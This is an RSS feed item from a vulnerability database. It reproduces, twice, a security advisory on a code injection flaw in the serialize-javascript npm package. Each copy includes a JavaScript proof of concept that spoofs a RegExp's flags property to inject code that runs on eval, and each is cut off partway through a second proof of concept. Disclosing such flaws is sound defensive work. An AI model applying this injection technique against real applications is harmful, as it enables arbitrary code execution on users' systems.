https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 18:12:41 +0000 https://vulnerability.circl.lu/vuln/ghsa-5c6j-r48x-rmvq <p><strong>Affected:</strong> npm: serialize-javascript</p> <p>### Impact</p> <p>The serialize-javascript npm package (versions &lt;= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.</p> <p>While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.</p> <p>If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `&lt;script&gt;` tags), the injected code executes.</p> <p>```javascript const serialize = require(&#39;serialize-javascript&#39;); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, &#39;source&#39;, { get: () =&gt; &#39;x&#39; }); Object.defineProperty(fakeRegex, &#39;flags&#39;, { get: () =&gt; &#39;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#39; }); fakeRegex.toJSON = function() { return &#39;@placeholder&#39;; }; const output = serialize({ re: fakeRegex }); // Output: {&#34;re&#34;:new RegExp(&#34;x&#34;, &#34;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#34;)} let obj; eval(&#39;obj = &#39; + output); console.log(global.PWNED); // &#34;CODE_INJECTION_VIA_FLAGS&#34; — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ```</p> <p>```javascript const serialize = require(&#39;serialize-javascript&#39;); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return &#39;&#34;+(global.DATE_P…</p> <p><strong>Affected:</strong> npm: serialize-javascript</p> <p>### Impact</p> <p>The serialize-javascript npm package (versions &lt;= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.</p> <p>While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.</p> <p>If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `&lt;script&gt;` tags), the injected code executes.</p> <p>```javascript const serialize = require(&#39;serialize-javascript&#39;); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, &#39;source&#39;, { get: () =&gt; &#39;x&#39; }); Object.defineProperty(fakeRegex, &#39;flags&#39;, { get: () =&gt; &#39;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#39; }); fakeRegex.toJSON = function() { return &#39;@placeholder&#39;; }; const output = serialize({ re: fakeRegex }); // Output: {&#34;re&#34;:new RegExp(&#34;x&#34;, &#34;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#34;)} let obj; eval(&#39;obj = &#39; + output); console.log(global.PWNED); // &#34;CODE_INJECTION_VIA_FLAGS&#34; — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ```</p> <p>```javascript const serialize = require(&#39;serialize-javascript&#39;); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return &#39;&#34;+(global.DATE_P…</p> https://vulnerability.circl.lu/vuln/ghsa-5c6j-r48x-rmvq